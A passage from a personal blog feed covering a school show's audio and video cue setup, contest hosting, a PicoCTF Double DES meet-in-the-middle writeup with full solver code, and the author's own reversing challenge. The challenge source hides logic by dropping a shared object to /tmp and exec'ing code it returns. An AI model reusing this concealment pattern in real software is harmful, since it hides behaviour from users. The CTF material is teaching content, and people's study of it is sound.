The Utility-First Fundamentals page on their site describes this and some of the other benefits I find compelling. ↩︎
To be clear, my stance on this is of course more nuanced. I think it’s okay to place, for instance, error strings in the backend which will get rendered in the frontend. However, in this case, you may end up storing far more content, like paragraphs of text, together with code. ↩︎
Production deployment will of course be more complicated, but most of the changes actually involve Django, and the rest of the backend. The only change I make on the frontend is switching out the full TailwindCSS library with a PostCSS setup that only includes the CSS classes I use. ↩︎

Running a Show with Linux Show Player and mpv

Tue, 26 Jul 2022 00:00:00 +0000

Back in May, a month before the end of school, the school’s art department had planned a live stage show which incorporated drama, visual arts, film, music, and dance. This was the first live performance after several years of public health measures which prevented live audiences and large gathering so, suffice it to say, everyone was excited. I was a core member of the Tech Team which managed all the technical parts of the performance and really enjoyed the experience. So, here I am writing about the music and projection part of the performance.

To provide some background, none of us had any formal theater training, and our school isn’t very big on theatrical performances, so a lot of this was new and experimental for us. I’ve had interest in technical theater for some time now and decided to take some ideas from there, namely the idea of cues. Essentially, a stage manager calls out cues (in our case, numbers) to people responsible for lights, music, etc. who then “take” the cue, performing the necessary transition in lights, music, etc. This makes a single person responsible for the timing of the show, but also makes it far simpler to organize, and even more importantly change parts of the show.

Music

This might seem like a super simple setup: just drop some files in a folder and double click them to play as necessary. To be honest, that likely would have worked and been good enough, but I wanted something that better fit this list of objectives I held in my head:

Simple UI: if nothing goes wrong, the entire show should be possible by pressing a single key when cued.
Adaptable: if something does go wrong, skipping, stopping, restarting, reordering should be trivial and asynchronous (i.e. it should be possible to do so without stopping all playback).
Flexible: it should support music, videos, and a combination thereof at the same time.
Reliable: it should play music and start videos with minimal latency and without failure or crashes.

So that music-in-a-folder approach may be adaptable and reliable (depending on chosen media player), but the UI is certainly not simple. You’re nearly guaranteed an extra window opening and a method to navigate between the current and next piece requiring either a mouse or the arrow keys. Also, playing a song and a video at the same time could get complicated. Again, this is probably good enough, but maybe there’s a better approach?

Linux Show Player

I don’t quite recall how I came upon Linux Show Player — likely while exploring open source cueing or playlist software — but it happened to be exactly what I needed, and not much else: perfect! Here’s the main UI:

I won’t describe all the features of Linux Show Player here, but I’ll highlight a general overview and our setup — that’s what this post is about after all.

The main section is, of course, the cues, named however you like, which reference audio files (or commands, keep reading) to play. It comes with default numbering, but we added our own because they did not always match our cues. The currently playing tracks are marked with a green circle and shown in the right sidebar, and the little arrow to the left of cue #5 indicates the following cue, #6, will activate at the same time as it. An impossible-to-miss “GO” button starts playing the highlighted track, as does the space bar. It also moves the highlight to the next song to play that next. This perfectly fits my simple interface criteria and the live show really worked like that: a friend merely pressed the space bar when cued!

The other UI buttons pause/resume, stop, interrupt (fade-out, then stop), fade in, or fade out either the track or all tracks if using the top-right corner of buttons. The icons are simple, clear, and have help text when hovered over. Also, as per my adaptability requirement, the cues can be dragged around and modified while letting playback continue.

After setting it up, the main features proved reliable enough for a live performance, so it was time to see whether Linux Show Player was flexible enough to also handle videos.

Projections

At the time of setting up for the performance, and at the time of writing, Linux Show Player does not yet support video cues,¹ but there were several parts in the performance where videos had to be projected on a screen or the stage, once at the same time as music. Specifically, that’s the aforementioned cues #5 and #6, where #6 is a short video to be played for the first part of the dance with music cue #5.

This requirement was why integrating the projection solution with our music solution was ideal (alongside minimizing the number of tools in our setup). Though really, having the audio embedded in the video file as with the other video cues (#0-3) would have done just fine; I just wanted to display the music in Linux Show Player’s sidebar which does not happen for videos.

Similar to the music, the simplest solution, and the one used every other time, is simply opening a video in any video player, dragging the window to the projector’s display, and unpausing. Again, this is good enough, but it would be a bit more professional to not have audience members seeing the entire process of starting a video.

Here, the keen-eyed of you might ask: why not just close/turn off/freeze the projector until the video is ready? First off, the projector is several meters off the ground, unreachable without blocking audience members. Also, our projector takes a while to start and displays dialog during startup and shutdown. Freezing the projector on a black screen is indeed an option, but it requires a person peeking out the side of the curtain or sitting near the front of the stage, in front of the audience. There’s also no feedback, if I recall correctly, to the person controlling it, so we wouldn’t know if the screen was frozen until the video was displayed. To be clear, this may just be the case with our projector. I’m sure professional-grade equipment has much better controls.

But so what was the solution for the non-existent video cues? It’s command cues:

This type of cue allows executing an arbitrary command so all that’s left is finding a good player, with the definition of “good” being:

Low Latency: once a cue is called, we want the video to play with as little delay as possible.
Minimal UI: ideally nothing at all, just the video, fullscreen.
Configurable: which display the video opens on should be configurable.

My everyday media player actually already fit this description, so I stuck with it.

mpv

mpv is an amazing, open source, cross-platform, media player. It plays music and videos in a wide range of formats, all in a super minimal, but oh-so-configurable, player. It also comes with an IPC server to control playback and the ability to stay open after playing a file. Here’s the full config used for the show:

osc=no  # disable the video player UI (playback progress, etc.)
fullscreen  # start fullscreened
fs-screen=2  # use the second display (the projector)
keep-open=always # don't quit the entire player after playback ends
idle=yes  # don't destroy the player window after playback ends
reset-on-next-file=pause # reset the pause state (unpause) when a new file
 # is loaded
input-ipc-server=/tmp/mpvsocket # enable the input IPC server to allow
 # controlling playback externally

Much of this comes from the Linux Show Player wiki, as well as the command cue config² below:

MEDIA="..."; printf '{ "command": ["loadfile", "%s"] }\n' $MEDIA|socat - /tmp/mpvsocket

With this, the video file specified in $MEDIA is loaded and immediately played by mpv which is already running on the second display, all controlled by Linux Show Player.

Conclusion

That’s really it: two programs which made up our entire music and projection setup for the show. Is this how it’s done professionally? Probably not, but it worked for us. My laptop’s audio output was connected to a soundboard where I mixed the music and microphones. The projector was connected through HDMI and some long distance HDMI-ethernet-HDMI converter boxes. Lighting was also done with cues and controlled by a friend on the school’s ETC ColorSource 20.

The lead up to the live show was very stressful and somewhat disorganized, but the tech ran without a hitch. I thoroughly enjoyed this experience, learned a lot, strengthened friendships and made some new ones, and will certainly miss it as I go off to university. Good luck to next year’s tech team, maybe you’ll even base your setup on mine :D

https://github.com/FrancescoCeruti/linux-show-player/issues/3 ↩︎
The purpose of a separate MEDIA environment variable instead of putting the path directly in to the IPC string is to make it easier to go through multiple cues where the path is right at the start. ↩︎

A New Year - December Status Update

Sat, 01 Jan 2022 00:00:00 +0000

The first semester of school began and nearly passed, COVID-19 has stayed with us all the same, and I’m finally writing another status update as the new year begins. Before I talk about what I’ve done in the past four months though, here’s a beautiful picture of the James Webb Space Telescope which successfully launched on December 25th, 2021 to soon begin its mission of collecting light from the first galaxies of billions of years ago. I just find it truly spectacular.

Attributed to Arianespace, ESA, NASA, Canadian Space Agency, CNES. Licensed under CC BY 2.0. Edited to crop out some watermarks.

To start off, let’s talk about the projects I mentioned in my previous blog post, sss and tilde. The former is still being worked while the latter has launched after some major code reworks. Check it out at cats.sh and join the IRC server — currently the only service. I’m hoping to get more services up and running soon and to make it a proper tilde with SSH access. If you’re interested in specific services, contact me personally or on the official cats.sh IRC channel.

As part of my schooling, I’ve been doing a cooperative education placement at Arch Linux and working on a port of aurweb from PHP to Python. I honestly don’t have too much to say on that front besides it being a very interesting time learning the new libraries and tools, all while getting to chat with more members of the community. I hope its release is successful, but whatever the case it’s been a valuable learning opportunity.

In the mean time, I’ve also done some more artistic work exploring compute shaders. Much of the inspiration comes from a video by Sebastian Lague and similar projects like Sage Jenson’s Physarum which, with the help of raylib, became a little graphics project. Here’s some of the beautiful simulations it can do.

And that’s all for this year. I’ll try and get to working on an e-Paper display daemon, toying around with my PineTime, and exploring FPGAs with my IceBreaker board in the new year.

Happy new year, everyone!

Many Months, Many Things - August Status Update

Tue, 31 Aug 2021 00:00:00 +0000

Hey… it’s been a while — three months and ten days, to be exact. Many of you have requested a new blog post but, more importantly, I’ve finally been in the mood to write something. So, with the next month under an hour away, here it is!

To be honest, I haven’t been particularly productive in the first few months after my last update. I’ve done some thinking about my own motivation, productiveness, and just myself to be honest. I’ve definitely figured some things out, at least enough to work on more than one passion projects in just the last month. The first, which I’ll briefly mention here, is sss, a Shamir’s Secret Sharing CLI and library implementation. It allows the splitting a secret into $n shares, of which any $k can be used to recover it. This project is actually just a small part of a larger idea I have similar to Marcus Wanner’s futurcap, a cryptographic time-delay system. This project shouldn’t take too long to complete, so look out for it in the coming months. The other project I’m working on is here, but it deserves a dedicated blog post and a bit more work to bring it up scratch. This one will be released sooner, likely a week in to September.

As nice as it is to write software by yourself, I really like working with others, so I’ve done some of that as well. Ariadna Vigo’s wonderful calculator program, scalc, is a tool I’ve become fond of and packaged for the AUR. Quick shoutout to her for sticking to standards (like POSIX) and using Makefiles, making packaging a breeze. Sourcehut had some issues with its consultancy page, so I went ahead and fixed those while also contributing some accessibility improvements related to icon use on all of the services. Some time ago I began helping out with a new (currently secret) programming language that’s being developed, so I added base64 encoding and decoding. A snippet of the encoding subroutine, which I hopefully won’t get in too much trouble for, is below:

use io;

// The padding character used at the end of encoding.
export def PADDING: u8 = '=': u32: u8;

// Encodes a byte slice using a base 64 encoding alphabet, with padding, and
// writes it to an [[io::stream]]. The number of bytes written is returned.
export fn encode(
 alphabet: []u8,
 sink: *io::stream,
 b: []u8
) (size | io::error) = {
 let z = 0z;
 let i = 0z;
 for (i + 2 < len(b); i += 3) {
 z += io::write(sink, [
 alphabet[b[i] >> 2],
 alphabet[(b[i] & 0x3) << 4 | b[i + 1] >> 4],
 alphabet[(b[i + 1] & 0xf) << 2 | b[i + 2] >> 6],
 alphabet[b[i + 2] & 0x3F],
 ])?;
 };
 if (len(b) - i > 0) {
 if (len(b) - i == 2) {
 z += io::write(sink, [
 alphabet[b[i] >> 2],
 alphabet[(b[i] & 0x3) << 4 | b[i + 1] >> 4],
 alphabet[(b[i + 1] & 0xf) << 2],
 PADDING,
 ])?;
 } else {
 z += io::write(sink, [
 alphabet[b[i] >> 2],
 alphabet[(b[i] & 0x3) << 4],
 PADDING,
 PADDING,
 ])?;
 };
 };
 return z;
};

Base32 encoding as well as date/time support is on my list of things to work on as well. Finally, I would like to thank Sebastian LaVine for improvements to window sizing and project compilation for periodicus.

In terms of hardware, I’ve still got the PineTime development kit which is awaiting use. I don’t have any particular plans with that except for learning some lower level programming, primarily because I don’t have much use for a smart watch other than being a watch. I also recently bought an ePaper display and iCEBreaker FPGA to add to my collection of random hardware. Learning and tinkering with those two should be fun, so expect a project or two from there alongside some dedicated posts to talk about them. I mentioned getting a SoloKeys USB security token in my last update alongside a planned post to talk about my 2FA setup with it. I promise that said post is still planned but is awaiting a few more changes to some servers of mine.

To end off, I’d like to ask something of those that read this far: is there anything specific you want me to write about or topics you would like me to touch on in my updates? Also, for those that know me on IRC, you’ll know that I occasionally mention the projects that I’m working on or talk about my thoughts on $things. It seems some of you have Mastodon accounts, which are less emphemral compared to chat, and use them for similar purposes. Well, I’ve been thinking of opening up an account on an instance (likely Fosstodon) for microblogging or sharing smaller updates so I’m looking for some insight in terms of what it’s like and whether you’d like to see me do it. For responses to all of these, please email me (preferrable) or contact me in any other way.

Thanks for reading and see you soon, whether that’s in person, on IRC, or the next time you read some of my writing!

365 Days - May Status Update

Fri, 21 May 2021 00:00:00 +0000

Can I write this in 26:30 before it turns to 2021-05-22 in UTC-4? Well, no time for an intro, let’s get right into it!

It’s been a year since my very first blog post on this blog. Throughout that time I’ve written 16 articles which amounts to an average of 1⅓ posts per month — higher than my 1 per month goal. I did miss some monthly status updates, but at least I wrote quite a few separate posts about CTFs and other projects.

Moving on to whatever I’ve been working on the past month and a half, it really hasn’t been much. At the beginning of this month I wrote about my experience hosting the 2021 ECOO Programming Contest which was a joy to be a part of. A week ago my team Teapot participated in the Canadian National Finals round of the CyberTitan IV cybersecurity competition where we placed first. It was our second year of competing so we were all rather proud of our result.

Regarding the future, I hope to keep writing blog posts and hope to do so with a higher frequency. I’ve got some plans coming up to write about my new 2FA setup with the SoloKeys Solo v1 that I recently purchased. I also got a PineTime development kit some time ago so hopefully I’ll make a little game and post about that as well. With regards to the COVID-19 situation around the world, I haven’t mentioned it on my blog, but I do hope that everyone stays safe, gets vaccinated, and manages to get through it. Maybe we can even get this to be the third disease¹ to ever be eradicated…² though that would be a long time away, if ever.

Wew, only minutes³ to spare.

The others being Rinderpest and Smallpox. ↩︎
Relevant XKCD, as always. ↩︎
Okay look, the commit does say I’m 52 seconds late, but I promise my clock is ahead by 1:27 🤞 ↩︎

Hosting a 700 Person Programming Contest - ECOO 2021

Wed, 05 May 2021 00:00:00 +0000

On May 1st, 2021, the 36th annual Educational Computing Organization of Ontario (ECOO) Programming Contest was held. This contest has been the culmination of over a month of work by Theodore Preduta, Larry Yuan, Keenan Gugeler, Christopher Trevisan, and myself, alongside Valentina Krasteva and David Stermole and the support of ECOO and ECOO-CS. This is my second year involved in the hosting of this event so I figured I would write about the setup and all that went right and wrong.

Background

This programming contest was run on a platform called DMOJ, an AGPL-licensed online judge, for accepting competitor code and rating its correctness. A fork was created with various unnecessary functionalities removed. In a broad sense, DMOJ works in the following manner:

This year’s contest contained six (6) problems ranging in difficulty from complete beginner to the highest level of competitive programming. A big thanks goes to Keenan and Chris for creating these problems and Andrew Qi Tang) for testing them before the competition.

Network

Nearly 700 people signed up to do the contest and we wanted to make sure that the site ran smoothly. Last year’s approach was to use a smaller number (<5) of more powerful site servers behind a loadbalancer to distribute load. This vertical scaling approach worked quite well, but we decided to try a more horizontal-scaling based approach this year with a larger number of less powerful servers. Our entire network was setup on DigitalOcean Droplets with the database and individual sites on 2 core / 2 GB RAM systems and everything else on 1 core / 1 GB RAM. All internal networking was done with DigitalOcean’s provided private networking and formed the following topology:

Our load balancer, central servers, and judges performed fantastically. They maintained low load throughout the entire contest, even during our fuck up (explained soon). Throughout the competition, we deployed roughly fifteen (15) sites running a Django app with uWSGI and ten (10) judges running a Docker container with a Python app using the DigitalOcean API. Generally, it’s best that every judge has identical hardware so that competitor submissions run at consistent speeds and get the same number of points every time. Unfortunately, this is rather difficult to get with a cloud provider because of shared resources and different hardware.¹ For us, we figured the differences weren’t drastic enough to warrant pursuing more complicated setups.

As the contest began, we very quickly noticed horrible latencies and a constant stream of 500 errors. At the very beginning of the contest this was expected — the main contest page that competitors had open automatically refreshes when the contest begins — but several minutes in and the latencies just kept getting worse. Thinking about what was different this year and looking at a browser’s network inspector while on the main scoreboard page revealed what was up. You see, the scoreboard is updated live with the help of an event server which informs connected browsers when to fetch new results. Last year, this websocket connection was disabled for non-organizers for fear of overloading the event server. It turns out that overloading the event server wouldn’t have been an issue, but the subsequent requests from all connections to get the latest results were. Because of how quickly submissions were being made at the start of the contest, the sites became overloaded as each competitor opened several simultaneous connections.

Ideally, this would be fixed by sending the updated results over the websocket connection or, at the very least, caching the updated results that competitors were querying. As a quick fix though, we just dropped the scoreboard update event on our event server and left it at that. From then on, everything ran smoothly until the end of the competition which finished with one competitor completely finishing all the problems and several others getting partial points on the last problem.²

To end off this section, here are some mildly interesting statistics for the runtime of the competitions, including any practice rounds and some setup time. Full reports from GoAccess — an awesome log analysis tool — can also be found below.

Metric	ECOO 2020	ECOO 2021
Registered Competitors	713	692
Total requests	1,335,283	615,575
Peak New Requests/sec³	185	892
Visitors	3,700	6,646
500 Errors	62,664	22,946
Goaccess Report	report-2020.html	report-2021.html

Cheating

Cheating must be considered in any competitive activity, especially those in online environments. This year, all online resources were permitted which we hoped would decrease the usefulness of cheating. However, as this was still an individual contest, cheating by communicating with others was still likely. Luckily, since 2019,⁴ DMOJ has integrated the Stanford Measure of Software Similarity (MOSS) API to automatically submit competitor source code and check for plagiarism. This system compares code similarity but has knowledge of language syntax so simple changes to style or variable naming is useless. As an excellent example, let’s take these three submissions from three different students at the same school (you know who you are!) which MOSS flagged:

Numbers, M, KS = input().split()
output = [-1, 0]*int(Numbers)

for i in range(int(KS)):
 First, Second, Third = map(int, input().split())

 if output[(Second*2)-1] < Third:
 output[(Second*2)-1] = Third
 output[(Second*2)-2] = First

for i in range(0, len(output), 2):
 print(output[i], end=" ")

This student clearly likes some verbosity in variable names.

# Inputs
# N = number of questions
# M = number of professors
# K = number of emails sent

N, M, K = input().split()
output = [-1, 0]*int(N)

for i in range(int(K)):
 # A = the professor 
 # B = question that was asked
 # C = score given to answer
 A, B, C = map(int, input().split())

 if output[(B*2)-1] < C:
 output[(B*2)-1] = C
 output[(B*2)-2] = A

for i in range(0, len(output), 2):
 print(output[i], end=" ")

Short variable names which correspond to the question but nice comments to explain what they are.

N, M, K = input().split()
out = [-1, 0]*int(N)

for i in range(int(K)):
 A, B, C = map(int, input().split())
 if out[(B*2)-1] < C:
 out[(B*2)-1] = C
 out[(B*2)-2] = A

for i in range(0, len(out), 2):
 print(out[i], end=" ")

The absolute minimum — a standard of competitive programmers.

All three of these students, alongside nearly twenty (20) others have been disqualified: a similar amount of cheaters to last year so nothing too surprising.

Conclusion

Overall, just like last year, I really enjoyed running this contest and setting up some of the infrastructure and systems behind it. While it definitely didn’t run perfectly, I think we did pretty well and provided a good experience to competitors. Unfortunately, apart from the nginx (and other service) logs, we didn’t really collect any kind of system metrics for future analysis. I was planning to setup Prometheus but couldn’t do it in time. Next time, I’ll definitely make it a priority so we can get some better insight into any kinds of bottlenecks and so I can write a much more detailed writeup!

If you’d like to read more on this topic and the solution that DMOJ settled with, see their wonderful blog post. ↩︎
If you’re interested in the scoring/ranking format used, see the Rules. ↩︎
From a quick grep of nginx logs — may not be accurate. ↩︎
First implemented in #913 with better integration in #1118. ↩︎

A Different MITM - PicoCTF 2021 Double DES Writeup

Wed, 07 Apr 2021 00:00:00 +0000

Note: This post was originally going to go up on the 30th of March but PicoCTF requested writeups to be held on to until winners were verified.

As stated in my last post, a group of friends and I participated in the 2021 PicoCTF challenge. Having just come to an end, this year’s contest was certainly the most enjoyable one for me because of the truly awesome people I got to work with, leading us to a second place finish in Canada (7th globally). One of the most interesting, though not particularly challenging, cryptography problems I came across and solved was titled “Double DES.” It began with this description and hint:

I wanted an encryption service that’s more secure than regular DES, but not as slow as 3DES… The flag is not in standard format.

Hint: How large is the keyspace?

It contained the following Python code (modified to be shorter) which was also running on a remote server:

#!/usr/bin/python3 -u
from Crypto.Cipher import DES
import binascii, itertools, random, string

def pad(msg):
 block_len = 8
 over = len(msg) % block_len
 pad = block_len - over
 return (msg + " " * pad).encode()

def generate_key():
 return pad("".join(random.choice(string.digits) for _ in range(6)))

FLAG = open("flag").read().rstrip()
KEY1 = generate_key()
KEY2 = generate_key()

def get_input():
 return binascii.unhexlify(input("What data would you like to encrypt? ").rstrip()).decode()

def double_encrypt(m):
 msg = pad(m)

 cipher1 = DES.new(KEY1, DES.MODE_ECB)
 enc_msg = cipher1.encrypt(msg)
 cipher2 = DES.new(KEY2, DES.MODE_ECB)
 return binascii.hexlify(cipher2.encrypt(enc_msg)).decode()

print("Here is the flag:")
print(double_encrypt(FLAG))

while True:
 try:
 print(double_encrypt(get_input()))
 except:
 print("Invalid input.")

A quick look at the code makes it clear that two random keys made up of 6 digits each are generated and then used to encrypt the flag with DES which is provided to the user. From there, the user can input any plaintext and get the ciphertext using the same keys. This last part is important because it means the challenge is open to “known-plaintext attacks.”

A naive examination of the encryption would suggest that one could bruteforce the correct key out of the 10¹² possible made up from every possible first key (10⁶) for every possible second key (10⁶). However, while certainly possible to do in the timespan of the competition, there exists a significantly better attack called Meet-in-the-Middle (MITM). To perform such an attack, we first choose a known plaintext, say “0123456789012345678”, and encrypt it with every possible first key:

def single_encrypt(k, m):
 msg = pad(m)
 cipher1 = DES.new(k, DES.MODE_ECB)
 return cipher1.encrypt(msg)

# The 'singles' file is a good save point since this first
# generation step can take a bit.
with open("singles", "w") as f:
 for i in range(1000000):
 ciphertext = single_encrypt(pad(str(i).zfill(6)), binascii.unhexlify('0123456701234567').decode())
 f.write(f"{i}: {ciphertext}\n")

Then, we can connect to the remote and receive the flag ciphertext (PASS) and our known plaintext ciphertext (GIVEN):

PASS = b"\x00\xbb\x8e\x0a\x5f\x56\x63\x21\xd3\x0f\xe2\x2f\xbc\xdd\xe0\x2d\x96\x71\x44\x82\x35\x72\x65\x67\xe2\x0a\x16\x2f\x25\x81\x24\x40\x13\x0f\x14\x8b\x12\x91\x01\x5a"
GIVEN = b"\xe0\xdd\xb8\x90\x74\xc3\x64\x8a\x13\x0f\x14\x8b\x12\x91\x01\x5a"

Finally, we can take the GIVEN ciphertext and decrypt it with every possible second key and check if it matches any of our single encrypted plaintexts. If it does, we’ve just found the correct first and second keys which we can use to decrypt the encrypted flag; wrap it with picoCTF{} and submit! So there you have it, an attack that only takes 2 × 10⁶ (2N) tries instead of the naive 10¹² (N²) attack and a reason not use Double DES.¹ Full source code for my solution is provided below:

#!/usr/bin/python3 -u
from Crypto.Cipher import DES
import binascii


def pad(msg):
 block_len = 8
 over = len(msg) % block_len
 pad = block_len - over
 return (msg + " " * pad).encode()

def single_encrypt(k, m):
 msg = pad(m)
 cipher1 = DES.new(k, DES.MODE_ECB)
 return cipher1.encrypt(msg)

def single_decrypt(k, enc_msg):
 cipher1 = DES.new(k, DES.MODE_ECB)
 return cipher1.decrypt(enc_msg)


# Generates single encrypted versions of known plaintext
# The 'singles' file is a good save point since this first
# generation step takes a bit.
with open("singles", "w") as f:
 for i in range(1000000):
 if i % 10000 == 0:
 print(pad(str(i).zfill(6)))
 f.write(f"{i}: {single_encrypt(pad(str(i).zfill(6)), binascii.unhexlify('0123456701234567').decode())}\n")

KEYS = {}
with open("singles", "r") as f:
 lines = f.read().splitlines()
 for line in lines:
 key, enc = line.split(": ", 1)
 exec(f"enc={enc}")
 KEYS[enc] = pad(key)

# From challenge
PASS = b"\x00\xbb\x8e\x0a\x5f\x56\x63\x21\xd3\x0f\xe2\x2f\xbc\xdd\xe0\x2d\x96\x71\x44\x82\x35\x72\x65\x67\xe2\x0a\x16\x2f\x25\x81\x24\x40\x13\x0f\x14\x8b\x12\x91\x01\x5a"

# Encrypted known plaintext
PAIRS = []
GIVEN = b"\xe0\xdd\xb8\x90\x74\xc3\x64\x8a\x13\x0f\x14\x8b\x12\x91\x01\x5a"
for i in range(1000000):
 d = single_decrypt(pad(str(i).zfill(6)), GIVEN)
 if d in KEYS:
 PAIRS.append((KEYS[d], pad(str(i).zfill(6))))

# You will get many correct pairs, in this case all of them worked
for a, b in PAIRS:
 print(single_decrypt(a, single_decrypt(b, PASS)))

More writeups of other challenges coming soon.

Not that you should use DES at all, nowadays. ↩︎

Writing my First Python Reversing Challenge

Sun, 04 Apr 2021 00:00:00 +0000

I recently got together with others to write some challenges for a CTF competition. I ended up writing two problems: a reverse engineering one and a binary exploitation one. Today I’ll be writing about the construction and solution of the reverse engineering one.

This was the first time I have ever written my own problem for a CTF so it was far from perfect but proved to be a nice challenge for competitors. Also, giving credit where credit is due, much of this problem took inspiration from a similar one in the Canadian Communications Security Establishment’s Geek Seek CTF.

The Start

Competitors were first given this file to begin. Guessing from the extension or base64 encoded contents within, this was a clearly a byte-compiled Python file, but which version? Well, initially I had used Python 3.7 for this challenge because it was widely used as the default across Linux distributions and because of the numerous decompilers available. However, in a last minute change, I switched to Python 3.9 which was neither widely installed nor had decompilers available. This switch made the initial part of the challenge, understanding how to run the program harder, but not too difficult with some trial and error. Proceeding with the correct version gave the following output:¹

λ python bunny.pyc
/\ /\ The rabbit has stolen your flag and hid it in its hat! Can you
\ \_/ / give it the right code to get your flag back?
(`Y')
()~*~()
▃▃▃▃▃▃▃▃▃
▉▉▉▉▉▉▉
▉▉▉▉▉▉▉
▉▉▉▉▉▉▉ Rabbit unlock code:

Attempting to enter an incorrect code gives the following output:

 ▃▃▃▃▃▃▃▃▃
▉▉▉▉▉▉▉
▉▉▉▉▉▉▉ Wrong code. The rabbit dips its head back into the hat.
▉▉▉▉▉▉▉

Expected.

So what next?

Understanding what the program actually does! Given that no decompiler for Python 3.9 existed, a few approaches could be tried. Some competitors read the Python bytecode to reconstruct the code, while others cleverly used the strace utility to figure out everything necessary that went on. Analysis of the binary itself could also reveal a function named derive_key with some nearby strings and variables like password, as well as a real_derive_key function… in a section of the file after an ELF header? What’s up with that? For that, let’s look at the original source code of the program (with an exec call expanded):

#!/usr/bin/env python3
import base64, ctypes, sys, os
from cryptography.fernet import Fernet

CIPHERTEXT = b"gAAAAABf8k6VO2v1na8YaHGUkUfHF-iwtVIfyzt5qyhklQUCT3WCLvZuiVy-dkWoXvJf6ssP9PJE0HIYluIitJf_mQQUtu9vXMAaT_JSc9i5aRd5LQkmQ3GDMcLHSgjvfWuAYpM5dJled2l0aCBvcGVuKHN5cy5hcmd2WzBdLCAicmIiKSBhcyBmOgogICAgZi5zZWVrKDIwOTEpCiAgICB3aXRoIG9wZW4oIi90bXAvbGlicmVhbC5zbyIsICJ3YiIpIGFzIGZmOgogICAgICAgIGZmLndyaXRlKGYucmVhZCgpKQogICAgbGliID0gY3R5cGVzLkNETEwoIi90bXAvbGlicmVhbC5zbyIpCiAgICBsaWIubGliLnJlc3R5cGUgPSBjdHlwZXMuY19jaGFyX3AKICAgIGV4ZWMobGliLmxpYigpLmRlY29kZSgpKQ=="
BANNER = base64.b64decode(b"CiAgIC9cICAgL1wgICAgIFRoZSByYWJiaXQgaGFzIHN0b2xlbiB5b3VyIGZsYWcgYW5kIGhpZCBpdCBpbiBpdHMgaGF0ISBDYW4geW91CiAgIFwgXF8vIC8gICAgIGdpdmUgaXQgdGhlIHJpZ2h0IGNvZGUgdG8gZ2V0IHlvdXIgZmxhZyBiYWNrPwogICAgKGBZJykKICAgKCl+Kn4oKQogIOKWg+KWg+KWg+KWg+KWg+KWg+KWg+KWg+KWgwogICDilonilonilonilonilonilonilokKICAg4paJ4paJ4paJ4paJ4paJ4paJ4paJCiAgIOKWieKWieKWieKWieKWieKWieKWiSAgICAgUmFiYml0IHVubG9jayBjb2RlOiA=").decode()
GOOD = base64.b64decode(b"CiAgIC9cICAgL1wKICAgXCBcXy8gLyAgICAgVGhlIHJhYmJpdCBqdW1wcyBvdXQgb2YgdGhlIGhhZCwgY29uZ3JhdHVsYXRpbmcgeW91IGZvciB0aGUgY29ycmVjdAogICAgKCd1JykgICAgICBjb2RlLgogICAoKX4qfigpCiAgIChfKS0oXykgICAgIEhlcmUncyB5b3VyIGZsYWc6IA==").decode()
BAD = base64.b64decode(b"CiAg4paD4paD4paD4paD4paD4paD4paD4paD4paDCiAgIOKWieKWieKWieKWieKWieKWieKWiQogICDilonilonilonilonilonilonilokgICBXcm9uZyBjb2RlLiBUaGUgcmFiYml0IGRpcHMgaXRzIGhlYWQgYmFjayBpbnRvIHRoZSBoYXQuCiAgIOKWieKWieKWieKWieKWieKWieKWiQ==").decode()

def derive_key(password):
 if password == "mvrynIDAX4tcQbp9wyTNPbBLldKiG0IJ":
 return b"znGy45To72bqSDW96Zoj5I5tZxeDKrFgORpngtKzHhRz"
 return ""

# Actually: exec(base64.b64decode(CIPHERTEXT[140:]))
with open(sys.argv[0], "rb") as f:
 f.seek(2091)
 with open("/tmp/libreal.so", "wb") as ff:
 ff.write(f.read())
 lib = ctypes.CDLL("/tmp/libreal.so")
 lib.lib.restype = ctypes.c_char_p
 exec(lib.lib().decode())

def decrypt(password):
 key = derive_key(password.encode())
 if key:
 return GOOD + Fernet(key).decrypt(CIPHERTEXT[:140]).decode()
 return BAD

print(decrypt(input(BANNER)))

Aha! So it seems like this program takes an input and passes it to derive_key, then attempts to perform a Fernet decryption. Trying the password visible here doesn’t actually work though, and looking a little further to the expanded exec call will soon reveal why. It’s clear that a CDLL is loaded from an offset in the original file itself. It can be found by simply going to that offset or reading some strace output.

Creator note: this file was just made by concatenating the Python byte-compiled file and this Shared Object file.

Conclusion

Ultimately, having this new binary, libreal.so should be enough to solve the challenge, even if one were to completely ignore the Python aspect. Disassembling or decompiling it with a variety of tools (such as Ghidra or Radare2) reveals the following code:

#include <string.h>
#include <stdlib.h>

// Correct pass: KAHQ7d1lb
char* real_derive_key(char* pass) {
 if (pass[0] + pass[7] == 183) {
 if (pass[3] + pass[5] == 181) {
 if (pass[2] * pass[3] == 5832) {
 if (pass[1] - pass[8] == -33) {
 if (pass[4] + pass[2] == 127) {
 if (pass[6] * pass[7] == 5292) {
 if (pass[4] + pass[1] == 120) {
 if (pass[6] - pass[5] == -51) {
 if (pass[4]-48 + pass[6]-48 == 8) {
 char *dest = malloc(44*sizeof(char));
 strcpy(dest, pass);
 strcat(dest, "IM4bcDAvcxdnkLmtM-388TiRI1XAgn7C6I=");
 return dest;
 }
 }
 }
 }
 }
 }
 }
 }
 }
 return "";
}

char* lib() {
 return "derive_key = lib.real_derive_key\n"
 "derive_key.argtypes = [ctypes.c_char_p]\n"
 "derive_key.restype = ctypes.c_char_p\n"
 "os.remove(\"/tmp/libreal.so\")";

}

That lib() function at the bottom is what actually reveals why the original password doesn’t work. The derive_key function gets replaced with this real_derive_key function in C. Figuring out the correct input here can be done with some brute forcing, math, or a SAT solver like Z3, revealing KAHQ7d1lb² as the correct input and the flag:³

 /\ /\
\ \_/ / The rabbit jumps out of the had, congratulating you for the correct
('u') code.
()~*~()
(_)-(_) Here's your flag: CTF{D0n7_w3_4ll_l0v3_50M3_Cy7h0n_fUn}

Reflection

Ultimately, I think this challenge was decent for my first one ever. It had many solutions allowing for some great creativity while still proving difficult enough that only a few people succeeded in completing it.

The switch from Python 3.7 to 3.9 is something I’m not completely certain about though. The very first steps of the challenge weren’t originally meant to be the most difficult, but I ran out of time and knowledge to figure out a more creative way to hide the overwritten function. Letting contestants know that one had to use Python 3.9 to run the challenge was probably something I should have done because it would have made the experience smoother for everyone involved.

However, despite the issues, I certainly learned a lot by making this challenge and hope to make some better problems in the future!

Decoding the base64 encoded strings in the file could also reveal the same prompt. ↩︎
I haven’t actually checked if other correct solutions for the real function exist, but those could be bruteforced anyways. ↩︎
The reference to Cython in the flag had to do with previous ideas I had for this challenge. I changed it locally but forgot to do so for the version sent to competitors, oh well. ↩︎

Cats, Work, and Games - March Status Update

Mon, 29 Mar 2021 00:00:00 +0000

